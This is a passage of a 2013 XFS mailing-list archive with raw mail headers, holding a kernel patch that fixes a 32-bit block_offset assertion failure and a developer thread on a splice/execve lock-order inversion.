with ESMTP id CCA3F7F37 for ; Tue, 16 Jul 2013 00:11:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CE3AAC001 for ; Mon, 15 Jul 2013 22:11:02 -0700 (PDT) X-ASG-Debug-ID: 1373951460-04cbb0468f102b4e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 5uaWwU9JF0u0GJHt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 15 Jul 2013 22:11:00 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6G5AxWI023042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 16 Jul 2013 05:11:00 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6G5Aw4Q013455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 16 Jul 2013 05:10:59 GMT Received: from abhmt113.oracle.com (abhmt113.oracle.com [141.146.116.65]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6G5AvST004090 for ; Tue, 16 Jul 2013 05:10:58 GMT Received: from [192.168.1.100] (/221.223.107.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 15 Jul 2013 22:10:57 -0700 Message-ID: <51E4D5F4.902@oracle.com> Date: Tue, 16 Jul 2013 13:11:16 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH RESEND] xfs: fix assertion failure in xfs_vm_write_failed() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH RESEND] xfs: fix assertion failure in xfs_vm_write_failed() Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1373951460 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email From: Jie Liu In xfs_vm_write_failed(), we evaluate the block_offset of pos with PAGE_MASK which is an unsigned long. That is fine on 64-bit platforms regardless of whether the request pos is 32-bit or 64-bit. However, on 32-bit platforms the value is 0xfffff000 and so the high 32 bits in it will be masked off with (pos & PAGE_MASK) for a 64-bit pos. As a result, the evaluated block_offset is incorrect which will cause this failure ASSERT(block_offset + from == pos); and potentially pass the wrong block to xfs_vm_kill_delalloc_range(). In this case, we can get a kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: block_offset + from == pos, file: fs/xfs/xfs_aops.c, line: 1504 ------------[ cut here ]------------ kernel BUG at fs/xfs/xfs_message.c:100! invalid opcode: 0000 [#1] SMP ........ Pid: 4057, comm: mkfs.xfs Tainted: G O 3.9.0-rc2 #1 EIP: 0060:[] EFLAGS: 00010282 CPU: 0 EIP is at assfail+0x2b/0x30 [xfs] EAX: 00000056 EBX: f6ef28a0 ECX: 00000007 EDX: f57d22a4 ESI: 1c2fb000 EDI: 00000000 EBP: ea6b5d30 ESP: ea6b5d1c DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 CR0: 8005003b CR2: 094f3ff4 CR3: 2bcb4000 CR4: 000006f0 DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000 DR6: ffff0ff0 DR7: 00000400 Process mkfs.xfs (pid: 4057, ti=ea6b4000 task=ea5799e0 task.ti=ea6b4000) Stack: 00000000 f9525c48 f951fa80 f951f96b 000005e4 ea6b5d7c f9494b34 c19b0ea2 00000066 f3d6c620 c19b0ea2 00000000 e9a91458 00001000 00000000 00000000 00000000 c15c7e89 00000000 1c2fb000 00000000 00000000 1c2fb000 00000080 Call Trace: [] xfs_vm_write_failed+0x74/0x1b0 [xfs] [] ? printk+0x4d/0x4f [] xfs_vm_write_begin+0x10d/0x170 [xfs] [] generic_file_buffered_write+0xdc/0x210 [] xfs_file_buffered_aio_write+0xf9/0x190 [xfs] [] xfs_file_aio_write+0xf3/0x160 [xfs] [] do_sync_write+0x94/0xd0 [] vfs_write+0x8f/0x160 [] ? wait_on_retry_sync_kiocb+0x50/0x50 [] sys_write+0x47/0x80 [] sysenter_do_call+0x12/0x28 ............. EIP: [] assfail+0x2b/0x30 [xfs] SS:ESP 0068:ea6b5d1c ---[ end trace cdd9af4f4ecab42f ]--- Kernel panic - not syncing: Fatal exception In order to avoid this, we can evaluate the block_offset of the start of the page by using shifts rather than masks the mismatch problem. Thanks Dave Chinner for help finding and fixing this bug. Reported-by: Michael L. Semon Reviewed-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Jie Liu --- fs/xfs/xfs_aops.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 596ec71..7967086 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1516,13 +1516,26 @@ xfs_vm_write_failed( loff_t pos, unsigned len) { - loff_t block_offset = pos & PAGE_MASK; + loff_t block_offset; loff_t block_start; loff_t block_end; loff_t from = pos & (PAGE_CACHE_SIZE - 1); loff_t to = from + len; struct buffer_head *bh, *head; + /* + * The request pos offset might be 32 or 64 bit, this is all fine + * on 64-bit platform. However, for 64-bit pos request on 32-bit + * platform, the high 32-bit will be masked off if we evaluate the + * block_offset via (pos & PAGE_MASK) because the PAGE_MASK is + * 0xfffff000 as an unsigned long, hence the result is incorrect + * which could cause the following ASSERT failed in most cases. + * In order to avoid this, we can evaluate the block_offset of the + * start of the page by using shifts rather than masks the mismatch + * problem. + */ + block_offset = (pos >> PAGE_CACHE_SHIFT) << PAGE_CACHE_SHIFT; + ASSERT(block_offset + from == pos); head = page_buffers(page); -- 1.7.9.5 From viro@ftp.linux.org.uk Tue Jul 16 00:31:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A85747F37 for ; Tue, 16 Jul 2013 00:31:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 933E4304039 for ; Mon, 15 Jul 2013 22:31:50 -0700 (PDT) X-ASG-Debug-ID: 1373952705-04cbb0468f102c900001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id i3m4Qx6YyGqltcNt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 15 Jul 2013 22:31:46 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1UyxrQ-0004HE-OR; Tue, 16 Jul 2013 05:31:40 +0000 Date: Tue, 16 Jul 2013 06:31:40 +0100 From: Al Viro To: Linus Torvalds Cc: Dave Jones , Linux Kernel , Peter Zijlstra , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716053140.GK4165@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1373952705 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 08:25:14PM -0700, Linus Torvalds wrote: > The "pipe -> cred_guard_mutex" lock chain is pretty direct, and can be > clearly attributed to splicing into /proc. Now, whether that is a > *good* idea or not is clearly debatable, and I do think that maybe we > should just not splice to/from proc files, but that doesn't seem to be > new, and I don't think it's necessarily *broken* per se, it's just > that splicing into /proc seems somewhat unnecessary, and various proc > files do end up taking locks that can be "interesting". FWIW, we might attack that one - after all, we could have ->splice_write() for that guy that would grab cred_guard_mutex, then call splice_from_pipe() with actor that would map/do security_setprocattr/unmap... Said that, considering what it does on write, it really does *not* want to deal with partial writes, so... From david@fromorbit.com Tue Jul 16 01:04:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8672229DF8 for ; Tue, 16 Jul 2013 01:04:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02B91AC001 for ; Mon, 15 Jul 2013 23:04:18 -0700 (PDT) X-ASG-Debug-ID: 1373954655-04cb6c2a46d88bf0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id a9ctSX7v9nTGejPM for ; Mon, 15 Jul 2013 23:04:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwkAC3h5FF5LK4r/2dsb2JhbABagwY0riMCjlKFMAQBgQ8XdIIjAQEEAScTHCMFCwgDGAklDwUlAyETh34DCQUNrUgXiFQWjH2BBDCBHQeDC20Dl1uRToMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl2.internode.on.net with ESMTP; 16 Jul 2013 15:34:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UyyMZ-0003Y7-RY; Tue, 16 Jul 2013 16:03:51 +1000 Date: Tue, 16 Jul 2013 16:03:51 +1000 From: Dave Chinner To: Linus Torvalds Cc: Dave Jones , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716060351.GE11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373954655 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 15, 2013 at 08:25:14PM -0700, Linus Torvalds wrote: > On Mon, Jul 15, 2013 at 7:38 PM, Dave Jones wrote: > > > > The recent trinity changes shouldn't have really made > > any notable difference here. > > Hmm. I'm not aware pf anything that has changed in this area since > 3.10 - neither in execve, xfs or in splice. Not even since 3.9. It's been there for years..... > The "pipe -> cred_guard_mutex" lock chain is pretty direct, and can be > clearly attributed to splicing into /proc. Now, whether that is a > *good* idea or not is clearly debatable, and I do think that maybe we > should just not splice to/from proc files, but that doesn't seem to be > new, and I don't think it's necessarily *broken* per se, it's just > that splicing into /proc seems somewhat unnecessary, and various proc > files do end up taking locks that can be "interesting". But this is a new way of triggering the inversion, however.... > At the other end of the spectrum, the "cred_guard_mutex -> FS locks" > thing from execve() is also pretty clear, and probably not fixable or > necessarily something we'd even want to fix. > > But the "FS locks -> pipe" part is a bit questionable. Honestly, I'd > be much happier if XFS used generic_file_splice_read/write(). > > And looking more at that, I'm actually starting to think this is an > XFS locking problem. XFS really should not call back to splice while > holding the inode lock. > > But that XFS code doesn't seem new either. Is XFS a new thing for you > to test with? I posted patches to fix this i_mutex/i_iolock inversion a couple of years ago (july 2011): https://lkml.org/lkml/2011/7/18/4 And V2 was posted here and reviewed (aug 2011): http://xfs.9218.n7.nabble.com/PATCH-0-2-splice-i-mutex-vs-splice-write-deadlock-V2-tt4072.html#none It didn't get picked up by with a VFS tree, so sat moldering until somebody else reported it (Nov 2012) and it reposted it again, only to have it ignored again: http://oss.sgi.com/archives/xfs/2012-11/msg00671.html And I recently discussed it again with Al w.r.t. filesystem freeze problems he was looking at, and I was waiting for that to settle down before I posted the fixes again.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Tue Jul 16 01:16:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3AC137F37 for ; Tue, 16 Jul 2013 01:16:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 096FF8F8033 for ; Mon, 15 Jul 2013 23:16:09 -0700 (PDT) X-ASG-Debug-ID: 1373955367-04bdf0245e3d970001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id HTKDvLGyV2GqPJ0R (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 15 Jul 2013 23:16:08 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1UyyYM-0004ep-30; Tue, 16 Jul 2013 06:16:02 +0000 Date: Tue, 16 Jul 2013 07:16:02 +0100 From: Al Viro To: Dave Chinner Cc: Linus Torvalds , Dave Jones , Linux Kernel , Peter Zijlstra , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716061601.GM4165@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716060351.GE11674@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1373955368 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 04:03:51PM +1000, Dave Chinner wrote: > I posted patches to fix this i_mutex/i_iolock inversion a couple of > years ago (july 2011): > > https://lkml.org/lkml/2011/7/18/4 > > And V2 was posted here and reviewed (aug 2011): > > http://xfs.9218.n7.nabble.com/PATCH-0-2-splice-i-mutex-vs-splice-write-deadlock-V2-tt4072.html#none Unless I'm misreading the patch, you end up doing file_remove_suid() without holding i_mutex at all... From david@fromorbit.com Tue Jul 16 01:41:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3BD967F37 for ; Tue, 16 Jul 2013 01:41:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 172158F8039 for ; Mon, 15 Jul 2013 23:41:40 -0700 (PDT) X-ASG-Debug-ID: 1373956898-04cbb0468e1030700001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id NwpD52FX1pZSzsON for ; Mon, 15 Jul 2013 23:41:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuokAOjp5FF5LK4r/2dsb2JhbABagwY0riQCjlKFMAQBgQ8XdIIjAQEFOhwjEAgDGAklDwUlAyETh34DDg2tPReIVBaMfYE0gR0HgwttA5dbkU6DJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Jul 2013 16:11:37 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uyywa-0003dP-AK; Tue, 16 Jul 2013 16:41:04 +1000 Date: Tue, 16 Jul 2013 16:41:04 +1000 From: Dave Chinner To: Al Viro Cc: Linus Torvalds , Dave Jones , Linux Kernel , Peter Zijlstra , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716064104.GF11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716061601.GM4165@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716061601.GM4165@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373956898 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 07:16:02AM +0100, Al Viro wrote: > On Tue, Jul 16, 2013 at 04:03:51PM +1000, Dave Chinner wrote: > > > I posted patches to fix this i_mutex/i_iolock inversion a couple of > > years ago (july 2011): > > > > https://lkml.org/lkml/2011/7/18/4 > > > > And V2 was posted here and reviewed (aug 2011): > > > > http://xfs.9218.n7.nabble.com/PATCH-0-2-splice-i-mutex-vs-splice-write-deadlock-V2-tt4072.html#none > > Unless I'm misreading the patch, you end up doing file_remove_suid() > without holding i_mutex at all... We've been calling file_remove_suid() since at least 2010 without i_mutex held through the direct IO write path.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 16 01:50:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5250C7F37 for ; Tue, 16 Jul 2013 01:50:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 23A478F8040 for ; Mon, 15 Jul 2013 23:50:42 -0700 (PDT) X-ASG-Debug-ID: 1373957440-04cb6c2a46d8b900001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id mUfYQATZcgsh8hOL for ; Mon, 15 Jul 2013 23:50:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuokADbs5FF5LK4r/2dsb2JhbABagwY0riQCjlKFMAQBgQ8XdIIjAQEFOhwjEAgDGAklDwUlAyETh34DDg2tNReIVBaMfYE0gR0Hg3gDl1uRToMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 16 Jul 2013 16:20:40 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uyz5P-0003eD-2Q; Tue, 16 Jul 2013 16:50:11 +1000 Date: Tue, 16 Jul 2013 16:50:11 +1000 From: Dave Chinner To: Al Viro Cc: Linus Torvalds , Dave Jones , Linux Kernel , Peter Zijlstra , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716065010.GG11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716061601.GM4165@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716061601.GM4165@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373957440 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 07:16:02AM +0100, Al Viro wrote: > On Tue, Jul 16, 2013 at 04:03:51PM +1000, Dave Chinner wrote: > > > I posted patches to fix this i_mutex/i_iolock inversion a couple of > > years ago (july 2011): > > > > https://lkml.org/lkml/2011/7/18/4 > > > > And V2 was posted here and reviewed (aug 2011): > > > > http://xfs.9218.n7.nabble.com/PATCH-0-2-splice-i-mutex-vs-splice-write-deadlock-V2-tt4072.html#none > > Unless I'm misreading the patch, you end up doing file_remove_suid() > without holding i_mutex at all... + xfs_rw_ilock(ip, XFS_IOLOCK_EXCL); + ret = file_remove_suid(out); Actaully, xfs_rw_ilock() takes the i_mutex due to teh exclusive locking ebing done, so that's all fine. Cheers, Dave. -- Dave Chinner david@fromorbit.com From vince@deater.net Tue Jul 16 08:58:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 267797F37 for ; Tue, 16 Jul 2013 08:58:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AAAD304039 for ; Tue, 16 Jul 2013 06:58:51 -0700 (PDT) X-ASG-Debug-ID: 1373983126-04cbb046911054280001-NocioJ Received: from smtpauth05.mfg.siteprotect.com (smtpauth05.mfg.siteprotect.com [64.26.60.144]) by cuda.sgi.com with ESMTP id FxQD08ZJNAnNgehV for ; Tue, 16 Jul 2013 06:58:47 -0700 (PDT) X-Barracuda-Envelope-From: vince@deater.net X-Barracuda-Apparent-Source-IP: 64.26.60.144 Received: from pianoman.cluster.toy (unknown [173.69.180.138]) (Authenticated sender: vince@deater.net) by smtpauth05.mfg.siteprotect.com (Postfix) with ESMTPSA id 6BB791125C766; Tue, 16 Jul 2013 08:58:39 -0500 (CDT) Date: Tue, 16 Jul 2013 09:59:35 -0400 (EDT) From: Vince Weaver X-X-Sender: vince@pianoman.cluster.toy To: Linus Torvalds cc: Dave Jones , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. In-Reply-To: X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. Message-ID: References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-CTCH-Spam: Unknown X-CTCH-RefID: str=0001.0A020207.51E55196.0190,ss=1,re=0.000,fgs=0 X-Barracuda-Connect: smtpauth05.mfg.siteprotect.com[64.26.60.144] X-Barracuda-Start-Time: 1373983127 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, 15 Jul 2013, Linus Torvalds wrote: > On Mon, Jul 15, 2013 at 7:38 PM, Dave Jones wrote: > > > Interestingly, the 'soft lockups' I was > > seeing all the time on that box seem to have gone into hiding. > > Honestly, I'm somewhat inclined to blame the whole perf situation, and > saying that we hopefully got that fixed. In between the silly do_div() > buglets and all the indications that the time was spent in nmi > handlers, I'd be willing to just ignore them as false positives > brought on by the whole switch to the perf irq.. Did the perf soft lockups go away with 3.11-rc1? 734df5ab549ca44f40de0f07af1c8803856dfb18 finally got committed, and it fixes a major long-standing perf-related NMI soft lockup bug I found when fuzzing. Vince From davej@redhat.com Tue Jul 16 10:02:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E8C07F4E for ; Tue, 16 Jul 2013 10:02:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9FB60AC009 for ; Tue, 16 Jul 2013 08:02:54 -0700 (PDT) X-ASG-Debug-ID: 1373986973-04cb6c2a42db1e40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gok4j1S4n90mk9sz; Tue, 16 Jul 2013 08:02:53 -0700 (PDT) 